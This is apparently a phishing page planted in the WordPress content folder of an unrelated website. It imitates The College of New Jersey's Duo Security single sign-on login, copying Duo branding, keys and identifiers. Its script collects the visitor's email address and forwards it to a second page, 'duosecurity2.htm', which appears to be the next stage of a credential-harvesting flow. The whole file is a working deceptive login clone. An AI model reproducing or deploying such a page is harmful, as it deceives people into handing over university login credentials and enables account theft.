File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/tcnj.edu/duosecurity.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" style="--app-background: #F7F7F7 ; --white-label-border-color: #293F6F;">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>Login</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="duosecurity_files/email-first.css">
<link rel="shortcut icon" href="https://tcnj.login.duosecurity.com/static/images/favicon_duo.ico?v=e3716">
</head>
<body>
<div id="login-parent" data-authkey="ASKF6ONIZCN3QSIH9GNZ" data-custom-accent-color="#293F6F" data-custom-background="" data-custom-background-color="#F7F7F7" data-custom-logo-url="duosecurity_files/logo_image.png" data-custom-username-label="" data-email-first-username="" data-phishing-protection-enabled="True" data-remember-username-enabled="True" data-req-trace-group="02190f851356355bdd47e99c" data-restart-auth-url="https://sso-9af1696c.sso.duosecurity.com/saml2/sp/DI4MGFZILBCQCED5WZIV/sso?scid=0eb8eff9843c4c0c98ec82c6a9e32dd7" data-scid="0eb8eff9843c4c0c98ec82c6a9e32dd7" data-secured-by-duo="True" data-xsrf="db052bcc5b16a6f2b9ea18e123ab5e50" data-duo-desktop-dict="{"akey": "DADKAH3HRDG6UMV7T0OG", "osInfo": "Windows", "hasOsUserValidationFeature": true, "usernameLookupDisabled": false, "hasLocalhostMigrationFeature": false}">
<div class="card card--white-label uses-white-label-border-color card--white-label__prompt display-flex flex-direction-column Card__Wrapper__legacy" style="padding: 0px; position: relative; border-top-color: rgb(41, 63, 111);">
<div class="align-flex-justify-content-space-between align-flex-items-center card__header display-flex size-margin-left-large size-margin-right-large " style="margin-top: 1.375rem;">
<div class="logo--white-label"><img src="duosecurity_files/logo_image.png" alt="Logo"></div>
</div>
<div class="align-flex-items-start display-flex size-margin-bottom-xsmall size-margin-large size-margin-top-reset display-flex align-flex-justify-content-start align-text-horizontal-left ">
<h1 style="font-weight: 700;" tabindex="-1" class="card--focusable-text">Single Sign-On</h1>
</div>
<div class="display-flex flex-direction-column flex-value-one size-padding-left-large size-padding-right-large ">
<form id="emailForm">
<label class="Card__TextInput">
<span class="label">Email Address</span>
<input id="email" aria-invalid="false" aria-label="Email Address" class="input__width-full size-radius-base " type="email" required>
</label>
<button id="nextButton" class="c--primary primary align-flex-items-center align-flex-justify-content-start input__width-full size-margin-top-medium button--xlarge" type="submit">Next</button>
</form>
</div>
<div style="height: 64px;"></div>
<footer class="margin-top-auto">
<div class="size-font-xsmall size-padding-bottom-medium size-padding-large size-padding-top-medium Card__Footer__legacy ">
<span class="Card__Footer__item"></span>
<span class="align-text-horizontal-right Card__Footer__item">Secured by Duo</span>
</div>
</footer>
</div>
</div>
<div id="amplitude-metadata" data-akey="DADKAH3HRDG6UMV7T0OG" data-amplitude-api-key="65d7e40c9680859303963ff243c06056"></div>
<script src="duosecurity_files/jquery.min.js"></script>
<script>
// Enable the "Next" button when the email input is valid
document.getElementById('email').addEventListener('input', function() {
const email = this.value;
const nextButton = document.getElementById('nextButton');
nextButton.disabled = !this.checkValidity(); // Enable button if email is valid
});
// Handle form submission
document.getElementById('emailForm').addEventListener('submit', function(event) {
event.preventDefault(); // Prevent default form submission
// Get the email value
const email = document.getElementById('email').value;
// Redirect to duosecurity2.html with the email as a URL parameter
window.location.href = `duosecurity2.htm?email=${encodeURIComponent(email)}`;
});
</script>
</body>
</html>